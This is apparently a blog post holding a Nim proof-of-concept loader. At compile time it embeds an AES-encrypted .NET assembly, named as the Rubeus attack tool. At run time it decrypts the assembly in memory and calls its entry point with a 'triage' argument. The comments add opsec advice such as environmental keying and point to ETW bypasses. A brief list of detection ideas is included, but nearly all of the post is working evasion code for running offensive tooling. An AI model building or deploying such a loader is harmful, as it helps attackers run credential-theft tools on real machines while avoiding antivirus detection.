Tuesday, October 4

embed .net, decrypt, load and execute in nim poc

import nimcrypto
import winim/clr except `[]`  # https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/  <-- thank you so much, 2 hours googling I almost went crazy 

    All credit goes to @byt3bl33d3r (OffensiveNim) and @s3cur3th1ssh1t
    nimble install winim nimcrypto zippy
    nim c -d:danger -d:strip --opt:size rsrcDecryptAssembly.nim
    slurp = "staticRead" will read the file and store it in the variable (.rdata) on compile time. 
      - The filename string itself is not inside this nim binary 
    Detection Ideas: ETW (etwbypass nim exists, but still), huge .rdata section size, CLRCreateInstance call, 
    RW memory region committed with the size that is very similar to .rdata's size

func toByteSeq*(str: string): seq[byte] {.inline.} =
  @(str.toOpenArrayByte(0, str.high))

const NET_RESOURCE = slurp("C:\\dev\\test3\\Confused\\Rubeus_35s0x9oj.exe.aes")

var encryptedData: seq[byte] = toByteSeq(NET_RESOURCE)
var envIV = newSeq[byte](16)

# First 16 bytes of the encrypted payload is the prepended IV 
for i in 0..15:
    envIV[i] = encryptedData[i]

# Technically multiplier should be used for array's size instead of "50000" below. But can't figure out at compile time.
#var multiplier = len(encryptedData) / aes256.sizeBlock

# Decrypting - hardcoding the key for PoC. Use environmental keying for opsec. 
var envkey: string = "helloworld"
var key: array[aes256.sizeKey, byte]
var iv: array[aes256.sizeBlock, byte]
var data: array[aes256.sizeBlock * 50000, byte]
var decryptedData: array[aes256.sizeBlock * 50000, byte]

var expandedkey = sha256.digest(envkey)

copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data))
copyMem(addr iv[0], addr envIV[0], len(envIV))
# Jumping over 16 bytes as an offset because first 16 bytes is the prepended IV 
copyMem(addr data[0], addr encryptedData[16], len(encryptedData)-16)

var dctx: CBC[aes256]
dctx.decrypt(data, decryptedData)

echo "[+] Loading assembly - Press enter"
var input= readLine(stdin)
var assembly = load(decryptedData)

echo "[+] Invoking asembly - Press enter"
input = readLine(stdin)

var arr = toCLRVariant(["triage"], VT_BSTR) # Pass whatever argument
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

echo "[+] Exiting - Press enter"
input = readLine(stdin)

Leave a Reply